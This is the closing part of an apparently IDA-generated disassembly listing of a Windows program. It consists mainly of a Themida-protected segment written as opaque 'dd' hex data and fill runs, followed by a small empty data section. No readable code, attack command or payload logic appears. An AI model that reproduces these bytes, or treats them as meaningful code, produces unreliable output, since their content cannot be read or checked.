		dd 0BEF8BF0Fh, 5FD08487h, 6ECE8166h, 5E97Ah, 45FC0000h
		dd 60C007E0h, 6E9h, 0B531B000h,	0FCFEFFFh, 583h, 6790B900h
		dd 60613ED5h, 10E8h, 649CF600h,	9BE62A0Ch, 126ADB9Ch, 0DB581D2Dh
		dd 0C6816626h, 8B598019h, 860F61C7h, 5,	0DFD78166h, 1C8C0FB2h
		dd 0E8000000h, 12h, 0A0F85E52h,	97926708h, 26ACBA8Ah, 0D0A6928h
		dd 0B9664C79h, 805B84B3h, 0F78A67EFh, 0E98166F5h, 0CE92F33h
		dd 0E5000000h, 26786617h, 1BB755ECh, 0B20B8CA9h, 0D18B6672h
		dd 0B8C0Fh, 830F0000h, 5, 31F18166h, 65CB81C4h,	0FC28DD44h
		dd 0FD98B66h, 0B8Dh, 6E900h, 8DBC0000h,	74A859BCh, 5C7BF66h
		dd 13E9h, 0EE40E400h, 9D5532B6h, 0BCEFD641h, 0FDFF5323h
		dd 0DFEF0F59h, 0A830Fh,	5E90000h, 2F000000h, 0EF489720h
		dd 0FB7EE8BAh, 7CE2813Bh, 0B24EFF57h, 0DE9E2h, 0D9DC0000h
		dd 0EC2771FAh, 0D3329C64h, 6669D98Dh, 66FAD2BFh, 0E9FDF1BFh
		dd 7, 75A310B1h, 0FE67330h, 75BED6B7h, 66046BD8h, 8E9CE8Bh
		dd 11000000h, 42F21711h, 66B58C53h, 0E954F9BEh,	8, 0CCBAAAEBh
		dd 0D197BF95h, 2EB460F9h, 463E8DB9h, 0E9F56172h, 6, 831CE48Ah
		dd 45B8C9D4h, 0E91914D4h, 0Bh, 5993B6A1h, 0AB5F83D5h, 66086FD9h
		dd 7E8C88Bh, 48000000h,	0CB0BFB50h, 38BFA671h, 591107CAh
		dd 8E8h, 78F75D00h, 0D1CC3621h,	8AEA801Fh, 5FF78059h, 6840Fh
		dd 0EF810000h, 5A73DF4Dh, 5F52DA8Bh, 8E0F50h, 5B000000h
		dd 0D0816060h, 0BC49163h, 6E9h,	8CE87900h, 613D8538h, 61F9B70Fh
		dd 86B9CE8Bh, 0E93BC8B3h, 0Bh, 0B6D62682h, 9A91082Ah, 0E8E4C6DEh
		dd 10h,	487E8E85h, 0DA4FF69Ch, 0B595A243h, 533B3EFBh, 5A6C081h
		dd 665E221Fh, 8BFCC78Bh, 0FA9B4DEh, 28Ch, 0FD78B00h, 0E860F1B7h
		dd 8, 1DBBF144h, 3E1D2306h, 0E6815FF8h,	653A8938h, 0C6B70F61h
		dd 7E9D68Bh, 16000000h,	4E53849Ch, 0E9607385h, 10h, 9D31281Eh
		dd 6D11A745h, 0CC29EAB3h, 0C4A92332h, 5E9h, 0E2CF7000h
		dd 66619550h, 8B66CE8Bh, 4890FDEh, 66000000h, 818C72BFh
		dd 589241EFh, 80C58A77h, 0FF50DC4h, 68Fh, 0A1F38100h, 0E821C74Ah
		dd 5, 0DFE46BD3h, 1830F10h, 0F5000000h,	60EF8A5Eh, 0F79CA80h
		dd 686h, 890F00h, 61000000h, 0FF3B70Fh,	588h, 0F7805100h
		dd 0D7815EBDh, 26449C52h, 3830Fh, 0E2800000h, 0A0EA808Eh
		dd 0AE8h, 187CBE00h, 0BC9F0F89h, 0E9703273h, 11h, 27C9D8A2h
		dd 7F4F41F4h, 0DD9A16C8h, 5E332F59h, 66605BEFh,	5326CF81h
		dd 0C4C78166h, 0E38161F9h, 269CB4Eh, 66D1B70Fh,	0BBE9DFBAh
		dd 5EF81480h, 0C480DE8Bh, 0A4D281BCh, 5060F281h, 6659F98Bh
		dd 8BF8FE8Bh, 816656DAh, 593111DAh, 9E9h, 0A7638900h, 55AE566Fh
		dd 0BABE5CE1h, 0E976F6BBh, 10h,	0C6A62466h, 57D8C07Ch
		dd 758D970Bh, 0C117367Ah, 8166F18Bh, 0F5AC13D8h, 28C0Fh
		dd 0C68B0000h, 0A840Fh,	0F600000h, 8Fh,	6110B500h, 0D925BF66h
		dd 0BAC78B66h, 160F09CFh, 0C3805956h, 91B966B8h, 0E38053B2h
		dd 0ACB05E4Fh, 8D0Fh, 6E90000h,	26000000h, 0E1AF402Bh
		dd 8890FF6h, 0F000000h,	28Eh, 66616000h, 1FBDC981h, 0BE6673B0h
		dd 0C38B7F66h, 66DBBF0Fh, 2F07D781h, 1D840Fh, 11E80000h
		dd 2000000h, 0B1E75626h, 65D24C13h, 0CC7D62B3h,	22544826h
		dd 810Fh, 80590000h, 0CE8199CAh, 6E2FC420h, 8BB9C580h
		dd 8F0FFCD3h, 3, 0E8F08B66h, 12h, 4D371E90h, 0A7C15D7Dh
		dd 308C602Dh, 8AC60CC0h, 850F3503h, 2, 0F585A50h, 48Dh
		dd 4BBF6600h, 0F181663Fh, 0D48A0004h, 0DCD18166h, 0BBF18B85h
		dd 753E22ACh, 0AE9h, 0A704AA00h, 7B9570F6h, 80C86428h
		dd 8E0F07CFh, 2, 0E860C28Bh, 0Fh, 7F83B52Dh, 5D639F9Ch
		dd 41F204D7h, 0B9343D5Dh, 7D3FBD74h, 8B66615Fh,	11E9FEh
		dd 3D650000h, 995766CCh, 483CA71Ah, 0B1B6DF9Ah,	0B62B610Ch
		dd 38C0F11h, 66000000h,	0D681D98Bh, 4201ED50h, 0C50A43B9h
		dd 0DB81664Eh, 0BF0FAFD7h, 0C88B66DFh, 148B0Fh,	860F0000h
		dd 0Eh,	8E8h, 73716E00h, 5DBD4A51h, 0F5805F81h,	2FBA66F2h
		dd 9CE8127h, 53658EDFh,	6059D88Bh, 0EE8h, 41D68B00h, 2982FB59h
		dd 0AA96BA14h, 66C98CA7h, 4C33EA81h, 0F606158h,	7E9D3B7h
		dd 5C000000h, 2CFAE249h, 0BE616717h, 601E2EB3h,	1DC3E081h
		dd 60600804h, 0F615950h, 6661C0B7h, 6053D98Bh, 5E9B0B3h
		dd 0AE000000h, 0A37FB0CFh, 14E95E61h, 84000000h, 87A39A34h
		dd 0D4C2D7DBh, 0A34AB7CEh, 6C209B7h, 66D52D9Ah,	51FC781h
		dd 13E9C88Bh, 92000000h, 0EB915B38h, 2EA405A0h,	8832DB04h
		dd 4A5F5C58h, 880F5B5Bh, 19h, 11E851h, 0D4820000h, 8572E90Eh
		dd 0DAF9CAFh, 4F03844Ch, 5871EF01h, 0D1CF815Bh,	5661335Ch
		dd 8A5BD08Bh, 0C98166C7h, 0B70F1639h, 58D0FCAh,	0BA000000h
		dd 2C57CE5Ah, 13E8h, 153E4D00h,	764FC208h, 444F80BAh, 0B50B4DCDh
		dd 1612BD91h, 0F95EF08Bh, 8E4DBE66h, 0EAF28166h, 0FFA8B84h
		dd 382h, 0F1BF0F00h, 0F98E280h,	80h, 0BED08B00h, 6683A6CDh
		dd 43B3F88Ah, 5FB5C68Bh, 38E0Fh, 0B70F0000h, 0FE8DAh, 46DF0000h
		dd 2BA31E64h, 0E03B352Fh, 0C45D7E9Dh, 3800F95h,	0F000000h
		dd 5759D1B7h, 5B47DF80h, 5E9h, 405F3200h, 0DA81DBD3h, 44D6D863h
		dd 8E8h, 0E2B26F00h, 0CD927595h, 8166565Bh, 5B4259DFh
		dd 66F08A5Ah, 8AF9CA8Bh, 80FA8AE5h, 5E952D5h, 0F4000000h
		dd 3A6DBD8h, 0CE9h, 0F319E000h,	362714Fh, 8C18098Dh, 6E948h
		dd 0B3640000h, 56630233h, 5CF38166h, 0FD78BEEh,	1181h
		dd 0B890F00h, 0E9000000h, 6, 3EFEAEF1h,	8B608AC0h, 0FE8D8h
		dd 18480000h, 0BCAADD85h, 73C1712Ch, 9DDAA9A1h,	6E8A0h
		dd 131B0000h, 3D71501Eh, 66615958h, 0F80D75BBh,	8C0FC18Bh
		dd 0Bh,	58A0Fh,	81660000h, 0F9D1E5DBh, 8E9h, 3B500800h
		dd 2A0F23Dh, 58B0FC2h, 66000000h, 0A058D981h, 0A5BE72BAh
		dd 0EE96049h, 0F000000h, 0D1FBC6AFh, 0C3C2342Ch, 835C3CFBh
		dd 619AB194h, 5E9h, 1A553100h, 0D9818AABh, 49BDE131h, 1F027FB8h
		dd 0BF666049h, 6061221Ah, 3880Fh, 0BF0F0000h, 8E9F9h, 55590000h
		dd 60565972h, 0F616E5Fh, 8B66C6BFh, 0BF0F60F0h,	0C88061D8h
		dd 0FF0811Bh, 0F173616h, 0D48ACFB7h, 3870Fh, 0B70F0000h
		dd 830FF3h, 66000000h, 0C4B2F081h, 0CCD28166h, 417AB9CEh
		dd 8B664508h, 0B850FCD7h, 67FEECD9h, 6693B25Eh,	0FDBEDB81h
		dd 5E950h, 4CA0000h, 590B9D47h,	0BF0FF28Bh, 0BBF78BCEh
		dd 26F481B1h, 8166CF8Ah, 0F3571EEh, 28Fh, 0FCB8B00h, 887h
		dd 8D0F5700h, 0
		dd 0DE85Ah, 527C0000h, 54F3D087h, 3DE28AEFh, 0B9811153h
		dd 122A6EE1h, 0C4B96659h, 0C18B605Bh, 0CE8h, 89605000h
		dd 0C027E5A7h, 0BC489E9Dh, 0ADBB664Ah, 0BE615F71h, 160D8C1Bh
		dd 1F1060BAh, 850FF803h, 1Ah, 5E860h, 5A7C0000h, 58E613C3h
		dd 8E9h, 0C4C3A500h, 7E4609A3h,	830F61B0h, 4, 5FDA8B52h
		dd 2850Fh, 0EB8A0000h, 1800Fh, 0FF50000h, 284h,	60F08B00h
		dd 0F61F5F5h, 8Fh, 0ABE6600h, 5FD88039h, 8E951h, 16130000h
		dd 0C002BE43h, 605EE82Eh, 0E9C28B66h, 0Dh, 0BD1E565Fh
		dd 0D78A12C9h, 7475FF9Bh, 8B66614Ch, 26E180C2h,	159BBF66h
		dd 536044BFh, 0E950527Eh, 0Ch, 7409B1FDh, 9C075CE0h, 5FB0A87h
		dd 0B9665E5Eh, 890FE42Fh, 10h, 0BE9h, 0C6B30900h, 5B14D8A7h
		dd 247E523Dh, 0CE9h, 6B691B00h,	0DF019F4Ah, 0F6B1A017h
		dd 88A0F0Ah, 0F000000h,	28Ch, 0F9595600h, 13840Fh, 0EE90000h
		dd 84000000h, 0BB26119Eh, 7A4EEEE8h, 0A6855351h, 14E905h
		dd 0C94E0000h, 888EE78Dh, 2D36D024h, 8B1C2C79h,	0D0CB9C6Bh
		dd 0BF0F4477h, 0DEB70FF8h, 0E852B7F5h, 10h, 0E947A0DDh
		dd 793252A9h, 8355A05Bh, 0F40E79DFh, 5AB2D580h,	2830Fh
		dd 0FA8B0000h, 6E9h, 524D4A00h,	0F9230EEh, 382h, 0F9BF0F00h
		dd 3E08166h, 10E9AEh, 0C4570000h, 19E4DD47h, 837732Fh
		dd 6B20B14h, 8B66340Ah,	0C78166F9h, 6660AC30h, 0FD341BAh
		dd 189h, 8B61F900h, 7E9CEh, 46590000h, 878A624Eh, 0CA8B66D8h
		dd 4820Fh, 60500000h, 8B665861h, 0A6F181FBh, 6644D2EFh
		dd 0F778FBAh, 284h, 0E99BB100h,	11h, 4C98D741h,	0F5AACCA1h
		dd 87BF8502h, 0FD6642F7h, 28A0FFAh, 8B000000h, 9CF281C3h
		dd 0E960F806h, 0Ch, 926D7638h, 25D80ED5h, 0BAEF8438h, 1C810Fh
		dd 14E80000h, 6A000000h, 6563270Eh, 0B23BAF3Ah,	56055AD6h
		dd 842ADA44h, 8A1567D1h, 0F5659F4h, 665BC0B7h, 0DF8BCF8Bh
		dd 1820Fh, 81F50000h, 0BAD9BEDEh, 0D8816627h, 8F0F7144h
		dd 6, 20FCC181h, 0CD8042E4h, 58B0F63h, 66000000h, 3169D081h
		dd 890FF28Bh, 12h, 0DE9h, 0E47CCA00h, 95E868DEh, 6E8A3h
		dd 60FC31C8h, 8077B866h, 0AE9h,	0B8738200h, 6827BD04h
		dd 61C6FCCBh, 3121F281h, 0F85610D6h, 0C8B8665Ah, 8A92B451h
		dd 0CCBF66F1h, 0D0B2F8C2h, 0FBF0C381h, 0D1BA4E8Bh, 524D9D4Fh
		dd 34CA815Eh, 8027FAE4h, 830FC2E1h, 5, 7CCF91BAh, 0E181660Eh
		dd 14E8969Eh, 21000000h, 0C5503293h, 0D77B8AAEh, 63AB7962h
		dd 39570609h, 66190ABDh, 0BE7EEF81h, 8B66515Eh,	0B9665AD7h
		dd 81663F96h, 0E870FBD2h, 13h, 2DD35230h, 0AD730D34h, 0FD073306h
		dd 93F90B11h, 66C19F0Ah, 665EC18Bh, 25ADA81h, 58F0FF9h
		dd 66000000h, 5F97F081h, 3D78C881h, 87B93767h, 0E86315EAh
		dd 8, 87EFA7E3h, 0C681227h, 0B8D0Fh, 5E80000h, 0CD000000h
		dd 3EDEC2F1h, 12E9585Bh, 36000000h, 439A5420h, 4F53CE2h
		dd 57AC8118h, 6A39CA8Fh, 0B3F38B58h, 520EB5C6h,	14E9h
		dd 0A1336800h, 0B8C973E9h, 7E50C58Ah, 0E6B8359Ah, 5FF120F9h
		dd 0BE665B09h, 0F18B1D02h, 0BACF8B60h, 0F95CF91h, 90DE8161h
		dd 66168591h, 0CFABE781h, 0E9F3B70Fh, 8, 520782E1h, 0D1AEDA10h
		dd 0A725BB66h, 10E9h, 485C9300h, 8AFE62BAh, 0C2B1D42Bh
		dd 874DF11Eh, 0C88166D5h, 870FD1F1h, 0
		dd 0E9C6BF0Fh, 5, 0D5E8A88Dh, 0F3E781CCh, 0E93973C5h, 10h
		dd 0FACEA1FEh, 6B5D8F80h, 0F210FABEh, 5E625AF5h, 5E96053h
		dd 8A000000h, 517DF90Dh, 95C88166h, 535F61E2h, 606058F9h
		dd 14E8h, 4B7BEE00h, 74850930h,	56B805DCh, 0DF142CB1h
		dd 669025C0h, 0D0815E13h, 2B481417h, 617EB561h,	0F836B2F5h
		dd 661CCD80h, 0FA8BD38Bh, 69D18166h, 0D2816654h, 8B0F75A4h
		dd 1, 0E98166FCh, 8060DAFAh, 8161B7D9h,	6B0A02C2h, 8B66FC7Ah
		dd 0DBEF81F2h, 0B2588083h, 0E8F18BBCh, 7, 6467AAD6h, 660BB629h
		dd 0EBF0E381h, 0B7FE8B59h, 0BAFB8B0Bh, 7E5CC34Dh, 6E9h
		dd 9BC7D400h, 0FC094E8Fh, 13860Fh, 0E9560000h, 0Ch, 0D13607Ah
		dd 5D94C0E8h, 4C35F612h, 0D281F55Ah, 681EA4BAh,	5840Fh
		dd 81660000h, 0E8B455C8h, 10h, 30907F67h, 0D66B7504h, 5F011FE1h
		dd 80C8B959h, 58FCC180h, 0B86696B5h, 8B66CF10h,	0CEBF0FD0h
		dd 33EA8166h, 0B260FC24h, 0E8FC6018h, 7, 13059908h, 59600740h
		dd 0DE96161h, 0BC000000h, 1D3D3CEAh, 6D1EC628h,	0CB23B46Ah
		dd 0CE9h, 5E47EF00h, 58D10F5Bh,	3113E4DFh, 5317BA16h, 12E9618Fh
		dd 49000000h, 0CDDBD521h, 1621D88Ah, 374D21D1h,	11F76C32h
		dd 66F081DDh, 0E801EDB5h, 0Bh, 25E66C73h, 417ADE66h, 59465295h
		dd 0C7F5E881h, 0BF0F6282h, 8E8DFh, 0CBE50000h, 0AB312E3Bh
		dd 5AF9639Bh, 0BCE504B9h, 9E94Ah, 6B320000h, 48674E85h
		dd 0B083865Fh, 6689B4D6h, 850FCB8Bh, 2,	0B70FF18Ah, 880F56F3h
		dd 3, 582CF480h, 33D0E181h, 8160702Bh, 9ECC76E9h, 6CBF665Ch
		dd 12E96168h, 68000000h, 6A19F9E1h, 0EFA0B5B8h,	0E74FB926h
		dd 1AFCDF20h, 0FC50B4ACh, 9B273BBBh, 0E9816600h, 8B66CD3Ch
		dd 816651D6h, 5F42EEEAh, 0EE8h,	46D6800h, 325956D0h, 0A20EFF0Eh
		dd 66757FF2h, 7F59C081h, 0D8B70F58h, 1551BF66h,	3FD98166h
		dd 58F85237h, 81CF8B66h, 89B0BADBh, 0E781666Eh,	9E86EEEh
		dd 2000000h, 633D326Eh,	0F97FC63Bh, 0FE957h, 885F0000h
		dd 0F6ABC65Fh, 39BBDD5Ch, 6E5E499h, 0E9595E3Bh,	10h, 177BCAE1h
		dd 607B0DACh, 651E4E0Ah, 46AC5A37h, 0F9E1E180h,	8F0FE3B5h
		dd 19h,	14E9h, 0F6F30A00h, 0CDC62914h, 0A347BAC7h, 0C6128D62h
		dd 89FC4420h, 66C88B3Bh, 3AB6EB81h, 0CE9h, 30996D00h, 28F55897h
		dd 0AC05D86Eh, 8E0F535Bh, 18h, 12E8h, 1CCFCA00h, 0B8B18A9Ch
		dd 1591DD22h, 82DBF451h, 58CC1849h, 0EE9535Fh, 0A000000h
		dd 2DB9E47Dh, 0D807A8B2h, 68B5F0F4h, 0F48A5F89h, 13E9h
		dd 56EB8F00h, 0C9655092h, 5160886Ah, 0AB704C99h, 34B0FEE8h
		dd 0EE9h, 0EBB6C900h, 414B4A6Fh, 0AE3B4BF4h, 0E9400760h
		dd 11h,	5C865EF8h, 0DBA75CDh, 0A72F4D29h, 4D570A3Bh, 0F57569Dh
		dd 82h,	0F8585800h, 4470C681h, 0B8660383h, 8E8B734h, 0FF000000h
		dd 0D913ACDDh, 0B05EE187h, 8F0F5876h, 8, 2870Fh, 0D88A0000h
		dd 7850Fh, 66530000h, 49FBF281h, 0E9CE8A58h, 0Ah, 0BA70D534h
		dd 1DE6D4FAh, 8E0FA783h, 3, 8AF0B70Fh, 8E9C6h, 0E5E00000h
		dd 27A1C94Ah, 0DE81741Ch, 28EEBAB7h, 624ED681h,	8E0F44CDh
		dd 5, 0C00CFFB8h, 0EDE48028h, 162286BBh, 0F28B6674h, 0DE9h
		dd 42EC0500h, 0BC1AEC7Dh, 0DAA80F3Ch, 0DF8B2356h, 0E98024B5h
		dd 1B830F2Ah, 53000000h, 13E8h,	0DBF90300h, 35D0B911h
		dd 0A740B06h, 0CE16D42Ah, 99729561h, 820F5B5Fh,	12h, 0DE9h
		dd 11EE3500h, 5BD03FD6h, 0A6730C9h, 0BA66C8DBh,	0FAB21A06h
		dd 38D0Fh, 0BF0F0000h, 62BE60C6h, 0E938F081h, 0Dh, 906470BFh
		dd 7B1BD96Fh, 74EA4466h, 0E1B5610Bh, 18BF5952h,	0F284A10h
		dd 8166F3B7h, 0F15F1DEh, 8166F7B7h, 0F59AA5F1h,	0CE860h
		dd 9BF0000h, 3B1DCE5Ah,	8C03D348h, 5E87045h, 0B5000000h
		dd 578F9A98h, 0F51585Bh, 89h, 8B615800h, 3DD980FEh, 8116E480h
		dd 23AA1AD7h, 0C8816659h, 0BF0FD442h, 0A9BF57F0h, 5F21FD25h
		dd 0BABD381h, 0DE912BCh, 0E8000000h, 0C04AC2E5h, 0E582AA6h
		dd 4D7100A5h, 5800Fh, 81660000h, 66599CF3h, 0B0D6E081h
		dd 0BF0FAEB6h, 0C18166C9h, 0AE876B6h, 9F000000h, 733146D2h
		dd 8FC55391h, 665EF9C8h, 0B70FC18Bh, 5860FD9h, 51000000h
		dd 5BD3B70Fh, 28E0Fh, 0C18B0000h, 0B70FF0B4h, 0ACC281C6h
		dd 80080751h, 27B746E4h, 8F0FD48Ah, 0
		dd 5977B550h, 0FCD6BF0Fh, 0EFC78052h, 0C38B6658h, 5DD38166h
		dd 3830FAAh, 0F000000h,	0CF8BC1B7h, 26D6A9B8h, 35BB663Bh
		dd 8B6660FBh, 0C18B61CFh, 0FE85F51h, 0D6000000h, 9DF4E3B2h
		dd 0EB37FCAAh, 0B6B8E5DEh, 0BF663B94h, 665ECC28h, 0E923FFBFh
		dd 0Bh,	72D7CB71h, 75743C53h, 0E9F6FC5Bh, 14h, 0D8CE2F7Eh
		dd 1278F2E5h, 7A608BC3h, 87849073h, 623F18E2h, 0A84132BEh
		dd 8B66FC09h, 0DD97BFF7h, 8B660B31h, 656FBACFh,	8D0F0834h
		dd 3, 0FC5BCF80h, 0FAB70FF9h, 980BBE66h, 13E9h,	0C3A61B00h
		dd 8EA6DC7Fh, 0AA57A119h, 4B50F8EEh, 2D6C7037h,	7E9h, 0ADED9000h
		dd 120319D0h, 0FFA8B66h, 282h, 0FC5F5100h, 0E9CB8B66h
		dd 0Bh,	72D7CB71h, 75743C53h, 80F6FC5Bh, 0BF0F5BD0h, 0BCA81D7h
		dd 0F55CEB5h, 1888h, 128B0F00h,	0E9000000h, 0Dh, 0A1DF3B7Ah
		dd 0D892AEDDh, 51EE7599h, 0EE81667Fh, 0D880ED26h, 9E860DAh
		dd 8C000000h, 4EB7E234h, 35C66141h, 665AFD8Ah, 9462DF81h
		dd 3840F61h, 0F000000h,	0BB66F1BFh, 0F1818A04h,	0B30E673h
		dd 605AFC51h, 830F51h, 5F000000h, 0F5F5060h, 8Eh, 0F616100h
		dd 0C8Eh, 7E900h, 83330000h, 9867DE1Dh,	0F1BA57BCh, 5E59263Dh
		dd 0FE957h, 4E440000h, 454D8FF0h, 2993C617h, 8BBFD99Bh
		dd 830F588Ch, 0Bh, 800F60h, 66000000h, 0B161D18Bh, 0B6F5BE7Eh
		dd 8E91928h, 72000000h,	0FD9647F7h, 0F5190D2Ah,	8870Fh
		dd 80600000h, 0BF0F68C7h, 820F61C9h, 8,	0B2F68157h, 5A14C8EAh
		dd 0BFFEB960h, 0C68B0700h, 0EB816661h, 8D0F358Eh, 0
		dd 9D5CBE66h, 6820Fh, 0C3810000h, 4F89CE44h, 0FF3BF0Fh
		dd 0BF0FD3BFh, 0C78166DEh, 0F18B7D8Bh, 0A2BD40BEh, 10E866h
		dd 0AC170000h, 0A607B0Dh, 37651E4Eh, 0FB46AC5Ah, 0D78BE251h
		dd 8E95Ah, 0A9060000h, 0DF0AD381h, 890F1FA6h, 0Ch, 6880Fh
		dd 800F0000h, 0
		dd 0E84DCD80h, 0Ch, 0FE1A8674h,	7AB4E3F2h, 0A312185Fh
		dd 8E9h, 893FC500h, 2D6B5A14h, 8E85E1Ch, 0A7000000h, 29CCAEAFh
		dd 0B16472CEh, 0EE815F66h, 5F5AB056h, 9CC58051h, 5880F59h
		dd 66000000h, 7037C181h, 0F8E0Fh, 7E80000h, 17000000h
		dd 39548BDh, 5E52D8AEh,	0F88B605Fh, 92B950B9h, 0AE96112h
		dd 80000000h, 0E998EA40h, 1A6EFA14h, 0BE665356h, 535AD84Fh
		dd 7DCEBE66h, 0E1E8815Fh, 8A265786h, 27EB81C2h,	606FBA3Eh
		dd 9EC98166h, 810F523Ch, 0
		dd 5CB0615Bh, 0ACE3B966h, 2860F60h, 8A000000h, 61E58ADEh
		dd 12E960h, 58A80000h, 6D9BDDFCh, 0DB234465h, 677F5403h
		dd 78DA42A3h, 5E861h, 637F0000h, 6647837Dh, 605BFE8Bh
		dd 0E933C180h, 7, 7240B8EFh, 61753296h,	0DE9D88Bh, 27000000h
		dd 8D7B58BDh, 511AFB11h, 8EEB87F3h, 0B434F4BFh,	0FBC9810Dh
		dd 0F0E3710h, 385h, 0F28B6600h,	2893B856h, 60580586h, 8E9h
		dd 0F8176700h, 0E3B63133h, 0C8B70F18h, 0D08B6661h, 0B4DDE180h
		dd 8DEE8006h, 0CE8h, 19E05700h,	62714FF3h, 18098D03h, 7FB5608Ch
		dd 800F5861h, 2, 0A6BFF18Bh, 0B17E59C8h, 0FF38BCCh, 58Bh
		dd 0D2816600h, 9E98B69h, 0D000000h, 6C16F223h, 2048329Bh
		dd 58FC51FCh, 52E08166h, 0FEB70F53h, 48C0Fh, 0BB660000h
		dd 0CE96F79h, 95000000h, 0C05AE358h, 0DE9CB096h, 6686B150h
		dd 815FA2B9h, 0A0CB80E3h, 4F08122h, 6651E2C2h, 1DC8D881h
		dd 13E95250h, 41000000h, 32DD5D21h, 433CD04Ah, 67B3D85Ch
		dd 0ACC4AED7h, 5A5E8288h, 0C893B966h, 0BE66F38Bh, 0CE80B158h
		dd 7FE880CAh, 0D6BF0F60h, 816661FCh, 814740C1h,	35DA8CDEh
		dd 0BE843h, 274C0000h, 0D9D2B841h, 9F301120h, 0F58F997h
		dd 78Ch, 0A1BF5000h, 5E556F3Dh,	34F78166h, 0FF18B28h, 42B3D0B7h
		dd 13E9h, 0B9D47300h, 59B9F83Dh, 0A42D8383h, 0D25A0556h
		dd 2C8061B3h, 0BBEB8A60h, 7F3FD565h, 21BE6661h,	79BF662Ah
		dd 860F513Dh, 6, 8C0Fh,	0E9580000h, 7, 367380EEh, 0E8944ADEh
		dd 0Ah,	6F7C8344h, 6951D095h, 7E8EC31h,	49000000h, 0B6B60AB8h
		dd 5B500ACAh, 0BF0F5958h, 0F55252DEh, 0F08B5A59h, 7FE08151h
		dd 5F507189h, 3CEF8166h, 15830F89h, 0E9000000h,	10h, 0FEF23BEFh
		dd 0D08AB59Ah, 2CAF95FCh, 0D68356FAh, 0DE9D78Bh, 67000000h
		dd 1F71C222h, 70556791h, 39F28C3Ah, 7861C681h, 8B530ED6h
		dd 0CE85BC7h, 25000000h, 0FA55919Dh, 0AF8BC0C5h, 0F726E42h
		dd 28Bh, 59616000h, 5E8h, 0E4896F00h, 8166B615h, 5F9D58E2h
		dd 3830Fh, 0BF0F0000h, 5E8CAh, 2BF60000h, 0B856B070h, 2B1AFE45h
		dd 8B66605Eh, 619DB3D0h, 2880Fh, 0D08B0000h, 0CCD38056h
		dd 0E9F8F95Eh, 8, 87A9F9Dh, 0D13B24C1h,	8EDB81FCh, 0E9369ABEh
		dd 6, 0AAB49343h, 0E781D7ADh, 3ED36C9Eh, 2DBFC981h, 5E9574Fh
		dd 68000000h, 5DD4675Ah, 0F59BB66h, 5E8h, 0DB2D1800h, 95B1925h
		dd 5 dup(5EAF446h), 9CEAF446h, 17Ch dup(9DD9B827h), 0C32B827h
		dd 1F5h	dup(0C32AFDDh),	35Ah dup(0A6690873h), 0DE690873h
		dd 8Ch dup(0DEB64CFCh),	0BEF04CFCh, 18Eh dup(0BEF007DCh)
		dd 86F007DCh, 12Ah dup(87ADC425h), 9E6h	dup(0CCCCCCCCh)
		dd 0CCCCCCh, 217h dup(0)
Themida_	ends

; Section 5. (virtual address 001C2000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001C2000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5C2000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start